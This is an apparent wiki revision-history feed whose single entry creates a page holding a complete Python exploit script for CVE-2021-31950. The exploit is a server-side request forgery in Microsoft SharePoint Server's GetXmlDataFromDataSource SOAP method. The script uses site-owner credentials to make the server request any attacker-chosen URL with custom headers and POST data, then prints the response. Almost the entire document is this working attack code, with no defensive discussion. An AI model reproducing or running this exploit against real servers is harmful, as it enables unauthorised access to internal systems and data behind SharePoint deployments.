<?xml version="1.0"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="chinese">
	<id>https://pwnwiki.com/index.php?action=history&amp;feed=atom&amp;title=CVE-2021-31950_Microsoft_SharePoint_Server_16.0.10372.20060_SSRF%E6%BC%8F%E6%B4%9E</id>
	<title>CVE-2021-31950 Microsoft SharePoint Server 16.0.10372.20060 SSRF漏洞 - Revision history</title>
	<link rel="self" type="application/atom+xml" href="https://pwnwiki.com/index.php?action=history&amp;feed=atom&amp;title=CVE-2021-31950_Microsoft_SharePoint_Server_16.0.10372.20060_SSRF%E6%BC%8F%E6%B4%9E"/>
	<link rel="alternate" type="text/html" href="https://pwnwiki.com/index.php?title=CVE-2021-31950_Microsoft_SharePoint_Server_16.0.10372.20060_SSRF%E6%BC%8F%E6%B4%9E&amp;action=history"/>
	<updated>2026-04-17T12:46:44Z</updated>
	<subtitle>Revision history for this page on the wiki</subtitle>
	<generator>MediaWiki 1.35.1</generator>
	<entry>
		<id>https://pwnwiki.com/index.php?title=CVE-2021-31950_Microsoft_SharePoint_Server_16.0.10372.20060_SSRF%E6%BC%8F%E6%B4%9E&amp;diff=4755&amp;oldid=prev</id>
		<title>Pwnwiki: Created page with &quot;==SSRF== &lt;pre&gt; # Exploit Title: Microsoft SharePoint Server 16.0.10372.20060 - 'GetXmlDataFromDataSource' Server-Side Request Forgery (SSRF) # Date: 09 Jun 2021 # Exploit Auth...&quot;</title>
		<link rel="alternate" type="text/html" href="https://pwnwiki.com/index.php?title=CVE-2021-31950_Microsoft_SharePoint_Server_16.0.10372.20060_SSRF%E6%BC%8F%E6%B4%9E&amp;diff=4755&amp;oldid=prev"/>
		<updated>2021-06-11T09:39:41Z</updated>

		<summary type="html">&lt;p&gt;Created page with &amp;quot;==SSRF== &amp;lt;pre&amp;gt; # Exploit Title: Microsoft SharePoint Server 16.0.10372.20060 - &amp;#039;GetXmlDataFromDataSource&amp;#039; Server-Side Request Forgery (SSRF) # Date: 09 Jun 2021 # Exploit Auth...&amp;quot;&lt;/p&gt;
&lt;p&gt;&lt;b&gt;New page&lt;/b&gt;&lt;/p&gt;&lt;div&gt;==SSRF==&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# Exploit Title: Microsoft SharePoint Server 16.0.10372.20060 - 'GetXmlDataFromDataSource' Server-Side Request Forgery (SSRF)&lt;br /&gt;
# Date: 09 Jun 2021&lt;br /&gt;
# Exploit Author: Alex Birnberg&lt;br /&gt;
# Software Link: https://www.microsoft.com/en-us/download/details.aspx?id=57462&lt;br /&gt;
# Version: 16.0.10372.20060&lt;br /&gt;
# Tested on: Windows Server 2019&lt;br /&gt;
# CVE : CVE-2021-31950&lt;br /&gt;
&lt;br /&gt;
#!/usr/bin/env python3&lt;br /&gt;
&lt;br /&gt;
import html&lt;br /&gt;
import random&lt;br /&gt;
import string&lt;br /&gt;
import xml.sax.saxutils&lt;br /&gt;
import textwrap&lt;br /&gt;
import requests&lt;br /&gt;
import argparse&lt;br /&gt;
import xml.etree.ElementTree as ET&lt;br /&gt;
from requests_ntlm2 import HttpNtlmAuth&lt;br /&gt;
from urllib.parse import urlencode, urlparse&lt;br /&gt;
&lt;br /&gt;
class Exploit:&lt;br /&gt;
  def __init__(self, args):&lt;br /&gt;
    o = urlparse(args.url)&lt;br /&gt;
    self.url = args.url&lt;br /&gt;
    self.service = o.path&lt;br /&gt;
    self.username = args.username&lt;br /&gt;
    self.password = args.password&lt;br /&gt;
    self.target = args.target&lt;br /&gt;
    self.headers = args.header &lt;br /&gt;
    self.method = args.request&lt;br /&gt;
    self.data = args.data&lt;br /&gt;
    self.content_type = args.content_type&lt;br /&gt;
    self.s = requests.Session()&lt;br /&gt;
    self.s.auth = HttpNtlmAuth(self.username, self.password)&lt;br /&gt;
    self.s.headers = {&lt;br /&gt;
      'User-Agent': 'Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.90 Safari/537.36'&lt;br /&gt;
    }&lt;br /&gt;
    self.s.proxies = {&lt;br /&gt;
      'http': 'http://127.0.0.1:8080'&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
  def trigger(self):&lt;br /&gt;
    headers = ''&lt;br /&gt;
    if self.headers:&lt;br /&gt;
      for header in self.headers:&lt;br /&gt;
        header = list(map(lambda x: x.strip(), header.split(':')))&lt;br /&gt;
        if len(header) != 2:&lt;br /&gt;
          continue&lt;br /&gt;
        headers += '&amp;lt;dataurl:Header name=&amp;quot;{}&amp;quot;&amp;gt;{}&amp;lt;/dataurl:Header&amp;gt;'.format(header[0], header[1])&lt;br /&gt;
    method = ''&lt;br /&gt;
    bypass_local = ''&lt;br /&gt;
    if self.method and self.method.upper() == 'POST':&lt;br /&gt;
      method = 'HTTP Post'&lt;br /&gt;
    else:&lt;br /&gt;
      method = 'HTTP Get'&lt;br /&gt;
      bypass_local = '&amp;lt;dataurl:Arguments&amp;gt;&amp;lt;dataurl:Argument Name=&amp;quot;{0}&amp;quot;&amp;gt;{0}&amp;lt;/dataurl:Argument&amp;gt;&amp;lt;/dataurl:Arguments&amp;gt;'.format(''.join(random.choice(string.ascii_letters) for i in range(16)))&lt;br /&gt;
    content_type = ''&lt;br /&gt;
    if self.content_type and len(self.content_type):&lt;br /&gt;
      content_type = '&amp;lt;dataurl:ContentType&amp;gt;{}&amp;lt;/dataurl:ContentType&amp;gt;'.format(self.content_type)&lt;br /&gt;
    data = ''&lt;br /&gt;
    if self.data and len(self.data):&lt;br /&gt;
      data = '&amp;lt;dataurl:PostData Encoding=&amp;quot;Decode&amp;quot;&amp;gt;{}&amp;lt;/dataurl:PostData&amp;gt;'.format(html.escape(self.data).encode('ascii', 'xmlcharrefreplace').decode('utf-8'))&lt;br /&gt;
    query_xml = textwrap.dedent('''\&lt;br /&gt;
    &amp;lt;udc:DataSource xmlns:udc=&amp;quot;http://schemas.microsoft.com/data/udc&amp;quot; xmlns:udcs=&amp;quot;http://schemas.microsoft.com/data/udc/soap&amp;quot; xmlns:soap=&amp;quot;http://schemas.xmlsoap.org/soap/envelope/&amp;quot; xmlns:dsp=&amp;quot;http://schemas.microsoft.com/sharepoint/dsp&amp;quot; xmlns:dataurl=&amp;quot;http://schemas.microsoft.com/sharepoint/dsp/xmlurl&amp;quot;&amp;gt;&lt;br /&gt;
      &amp;lt;udc:ConnectionInfo&amp;gt;&lt;br /&gt;
        &amp;lt;udcs:Location href=&amp;quot;&amp;quot;&amp;gt;XMLURLDataAdapter&amp;lt;/udcs:Location&amp;gt;&lt;br /&gt;
        &amp;lt;soap:Header&amp;gt;&lt;br /&gt;
          &amp;lt;dsp:versions&amp;gt;&lt;br /&gt;
          &amp;lt;/dsp:versions&amp;gt;&lt;br /&gt;
          &amp;lt;dsp:request method=&amp;quot;query&amp;quot; /&amp;gt;&lt;br /&gt;
        &amp;lt;/soap:Header&amp;gt;&lt;br /&gt;
        &amp;lt;soap:Body&amp;gt;&lt;br /&gt;
          &amp;lt;dsp:queryRequest&amp;gt;&lt;br /&gt;
            &amp;lt;dsp:ptQuery&amp;gt;&lt;br /&gt;
              &amp;lt;dataurl:Headers&amp;gt;&lt;br /&gt;
                &amp;lt;dataurl:Url href=&amp;quot;{}&amp;quot; Method=&amp;quot;{}&amp;quot;/&amp;gt;&lt;br /&gt;
                {}&lt;br /&gt;
                {}&lt;br /&gt;
                {}&lt;br /&gt;
                {}&lt;br /&gt;
              &amp;lt;/dataurl:Headers&amp;gt;&lt;br /&gt;
            &amp;lt;/dsp:ptQuery&amp;gt;&lt;br /&gt;
          &amp;lt;/dsp:queryRequest&amp;gt;&lt;br /&gt;
        &amp;lt;/soap:Body&amp;gt;&lt;br /&gt;
      &amp;lt;/udc:ConnectionInfo&amp;gt;&lt;br /&gt;
    &amp;lt;/udc:DataSource&amp;gt;'''.format(self.target, method, bypass_local, headers, data, content_type))&lt;br /&gt;
    query_xml = xml.sax.saxutils.escape(query_xml.replace('\r', '').replace('\n', ''))	&lt;br /&gt;
    data = textwrap.dedent('''\&lt;br /&gt;
      &amp;lt;?xml version=&amp;quot;1.0&amp;quot; encoding=&amp;quot;utf-8&amp;quot;?&amp;gt;&lt;br /&gt;
      &amp;lt;soap:Envelope xmlns:xsi=&amp;quot;http://www.w3.org/2001/XMLSchema-instance&amp;quot; xmlns:xsd=&amp;quot;http://www.w3.org/2001/XMLSchema&amp;quot; xmlns:soap=&amp;quot;http://schemas.xmlsoap.org/soap/envelope/&amp;quot;&amp;gt;&lt;br /&gt;
        &amp;lt;soap:Body&amp;gt;&lt;br /&gt;
          &amp;lt;GetXmlDataFromDataSource xmlns=&amp;quot;http://microsoft.com/sharepoint/webpartpages&amp;quot;&amp;gt;&lt;br /&gt;
            &amp;lt;queryXml&amp;gt;{}&amp;lt;/queryXml&amp;gt;&lt;br /&gt;
          &amp;lt;/GetXmlDataFromDataSource&amp;gt;&lt;br /&gt;
        &amp;lt;/soap:Body&amp;gt;&lt;br /&gt;
      &amp;lt;/soap:Envelope&amp;gt;'''.format(query_xml))&lt;br /&gt;
    r = self.soap('webpartpages', 'http://microsoft.com/sharepoint/webpartpages/GetXmlDataFromDataSource', data)&lt;br /&gt;
    root = ET.fromstring(r.content)&lt;br /&gt;
    try:&lt;br /&gt;
      namespaces = {&lt;br /&gt;
        'soap': 'http://schemas.xmlsoap.org/soap/envelope/'&lt;br /&gt;
      }&lt;br /&gt;
      value = list(root.find('soap:Body', namespaces).iter())[2]   &lt;br /&gt;
      if value.tag == 'faultcode':&lt;br /&gt;
        print('Error:', list(root.find('soap:Body', namespaces).iter())[3].text)&lt;br /&gt;
      else:&lt;br /&gt;
        print(value.text)&lt;br /&gt;
    except:&lt;br /&gt;
      print(r.content)&lt;br /&gt;
      pass&lt;br /&gt;
&lt;br /&gt;
  def soap(self, service, action, data):&lt;br /&gt;
    headers = {&lt;br /&gt;
      'SOAPAction': '&amp;quot;{}&amp;quot;'.format(action),&lt;br /&gt;
      'Host': 'localhost',&lt;br /&gt;
      'Content-Type': 'text/xml; charset=utf-8',&lt;br /&gt;
    }&lt;br /&gt;
    return self.s.post('{}/_vti_bin/{}.asmx'.format(self.url, service), headers=headers, data=data)&lt;br /&gt;
&lt;br /&gt;
if __name__ == '__main__':&lt;br /&gt;
  parser = argparse.ArgumentParser()&lt;br /&gt;
  parser.add_argument('--url', help='Base URL', required=True, metavar='&amp;lt;url&amp;gt;')&lt;br /&gt;
  parser.add_argument('--username', help='Username of team site owner', required=True, metavar='&amp;lt;username&amp;gt;')&lt;br /&gt;
  parser.add_argument('--password', help='Password of team site owner', required=True, metavar='&amp;lt;password&amp;gt;')&lt;br /&gt;
  parser.add_argument('--target', help='Target URL to work with', required=True, metavar='&amp;lt;target&amp;gt;')&lt;br /&gt;
  parser.add_argument('-H', '--header', help='Pass custom header(s) to server', action='append', metavar='&amp;lt;header&amp;gt;')&lt;br /&gt;
  parser.add_argument('-X', '--request', help='Specify request command to use', metavar='&amp;lt;command&amp;gt;')&lt;br /&gt;
  parser.add_argument('-d', '--data', help='HTTP POST data', metavar='&amp;lt;data&amp;gt;') &lt;br /&gt;
  parser.add_argument('-c', '--content-type', help='Value for the &amp;quot;Content-Type&amp;quot; header', metavar='&amp;lt;type&amp;gt;')&lt;br /&gt;
  exploit = Exploit(parser.parse_args())&lt;br /&gt;
  exploit.trigger()&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;/div&gt;</summary>
		<author><name>Pwnwiki</name></author>
	</entry>
</feed>